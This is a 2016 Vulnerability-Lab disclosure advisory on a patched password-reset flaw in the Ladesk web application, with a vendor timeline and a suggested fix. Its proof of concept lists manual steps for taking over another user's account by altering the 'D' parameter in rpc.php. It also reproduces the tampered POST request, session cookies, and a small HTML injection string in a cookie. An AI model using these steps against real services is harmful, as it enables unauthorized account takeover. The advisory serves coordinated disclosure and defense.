Document Title:
===============
Ladesk Agent #1 (Bug Bounty) - Session Reset Password Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1849


Release Date:
=============
2016-06-27


Vulnerability Laboratory ID (VL-ID):
====================================
1849


Common Vulnerability Scoring System:
====================================
8.7


Product & Service Introduction:
===============================
Strengthen relationships with your customers. Be number one in customer service and let them spread the good word and 
experience about you. Increase your sales. Seize the throne! Collect communication from your customers, let 
LiveAgent process it and route it to the right support representatives at the right time.

(Copy of the Homepage: https://www.ladesk.com/features/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a critical remote session vulnerability in the Ladesk Agent online service web-application.


Vulnerability Disclosure Timeline:
==================================
2016-05-19: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2016-05-20: Vendor Notification (LaDesk - Bug Bounty Program)
2016-06-08: Vendor Fix/Patch (LaDesk Site Support Team)
2016-06-15: Acknowledgement (LaDesk - Bug Bounty Program)
2016-06-27: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Ladesk LLC
Product: Ladesk Agent - Online Service (Web-Application) 2016 Q2


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Critical


Technical Details & Description:
================================
A password reset session web vulnerability has been discovered in the official Ladesk online service web-application.
The vulnerability allows remote attackers to reset a session credentials to unauthorized access user accounts or data.

The vulnerability is located in the `D` parameter value of the `rpc.php` file POST method request. Remote attackers are 
able to include another users email address to reset the password to an unauthenticated account. The attacker can tamper 
the http session POST method request of the reset account password function on interaction to unauthorized access another 
users web-application profile. The page of the reset redirects the attacker to the included email account without secure 
validation or token session approval. 

The security risk of the vulnerability is estimated as critical with a cvss (common vulnerability scoring system) count of 8.7.
Exploitation of the session web vulnerability requires no privileged web-application user account and no user interaction. 
Successful exploitation of the vulnerability results information leaking of sensible data, non authenticated or unauthorized 
account access via account take-over.

Request Method(s):
        [+] POST

Vulnerable Module(s):
        [+] Password Reset Function (set_new_password)

Vulnerable File(s):
        [+] rpc.php

Vulnerable Parameter(s):
        [+] D - (username)

Affected Module(s):
        [+] Account System (Ladesk)


Proof of Concept (PoC):
=======================
The remote session vulnerability can be exploited by remote attackers without user interaction or privileged web-application user account.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Test User Account: bkm@evolution-sec.com
Exploitation with Account: imgsrcx2020ifra@mailinator.com

Manual steps to reproduce the vulnerability ...
1. Register a low privileged user account
2. Login with a low privileged user account
3. Click to forgot password and request a change url
4. Open the arrived reset password email in the inbox
5. Start a session tamper for the http protocol
6. Include a new password and submit the request via POST method
7. Change in the POST method request the email information
Note: Continue to reply the POST method request and refresh the page
8. Now you are logged in with another users account credentials to your own setup password
9. You can approve the unauthorized account access by watching the new valid name on top of the login profile
10. Successful reproduce of the reset password vulnerability!


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST https://imgsrcx2020ifra.ladesk.com/rpc.php Load Flags[LOAD_BACKGROUND  LOAD_BYPASS_LOCAL_CACHE  ] Größe des Inhalts[-1] Mime Type[application/json]
   Request Header:
      Host[imgsrcx2020ifra.ladesk.com]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate, br]
      Content-Type[application/x-www-form-urlencoded; charset=utf-8]
      Referer[https://imgsrcx2020ifra.ladesk.com/set_new_password?requestid=e5a7dafa]
      Content-Length[665]
      Cookie[_ga=GA1.2.1957582361.1463659040; A_la_sid=1dc09a9de6527fbb7dc354accad89ed2; LaVisitorNew=Y; LaVisitorId=p9nfy6cbn3qr23xt089wjut0bq96e; LaSID=7t5yilqt3mf6y8zix564dcpb1rgxx; LaUserDetails=%7B%22email%22%3A%22bkm@evolution-sec.com%22%2C%22firstName%22%3A%22%5C%22%3E%3C%5C%22%3Cimg%22%2C%22lastName%22%3A%22src%3D%5C%22x%5C%22%3E%2520%2520%3E%5C%22%3Ciframe%22%7D; visitor_la_sid=016358d7a7665a68a2e5554d75d93033; V_auth=42ac75755bf0e8c26a0d69f90da48bbd; gpf_language=de]
      Connection[keep-alive]
   POST-Daten:
      D[%7B%22C%22%3A%22Gpf_Rpc_Server%22%2C+%22M%22%3A%22run%22%2C+%22R%22%3A%5B%7B%22C%22%3A%22La_Auth_VisitorAuthService%22%2C+%22M%22%3A%22setNewPasswordAndLogin%22%2C+%22fields%22%3A%5B%5B%22name%22%2C%22value%22%2C%22values%22%2C%22error%22%5D%2C%5B%22password%22%2C%22chaos666%22%2C%22%22%2C%22%22%5D%2C%5B%22passwordRepeat%22%2C%22chaos666%22%2C%22%22%2C%22%22%5D%2C%5B%22requestid%22%2C%22e5a7dafa%22%2C%22%22%2C%22%22%5D%2C%5B%22username%22%2C%22bkm%40evolution-sec.com%22%2C%22%22%2C%22%22%5D%2C%5B%22roleType%22%2C%22R%22%2C%22%22%2C%22%22%5D%2C%5B%22rememberMe%22%2C%22Y%22%2C%22%22%2C%22%22%5D%5D%7D%5D%2C+%22S%22%3A%22016358d7a7665a68a2e5554d75d93033%22%7D]
   Response Header:
      Server[nginx/1.9.15]
      Date[Thu, 19 May 2016 12:28:07 GMT]
      Content-Type[application/json; charset=utf-8]
      x-tm[0.031,]
      Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
      Pragma[no-cache]
      Expires[26 Jun 1997 05:00:00 GMT]
      X-Varnish[1037406369]
      Age[0]
      Vary[Accept-Encoding]
      Via[1.1 varnish (1.lb-app.la.linode-uk)]
      Accept-Ranges[bytes]
      X-Firefox-Spdy[h2]

Note: Change in the `D` parameter the username information with the email data.

Reference(s):
https://imgsrcx2020ifra.ladesk.com/
https://imgsrcx2020ifra.ladesk.com/rpc.php
https://imgsrcx2020ifra.ladesk.com/set_new_password?requestid=
https://imgsrcx2020ifra.ladesk.com/set_new_password?requestid=e5a7dafa#setpasswd


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure session approval and D context validation to prevent unauthorized account resets to another email.
Ensure that the token is connected to the email and session request to deny an attacker to change the email value. Approve the session and let 
it expire on invalid request with other non connected credentials. Setup a secure exception that prevents to load another users credentials 
after a reset to the main profile on top.


Security Risk:
==============
The security risk of the remote session password reset vulnerability in the ladesk online service web-application is estimated as critical. (CVSS 8.7)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (research@vulnerability-lab.com) [www.vulnerability-lab.com] [http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.]


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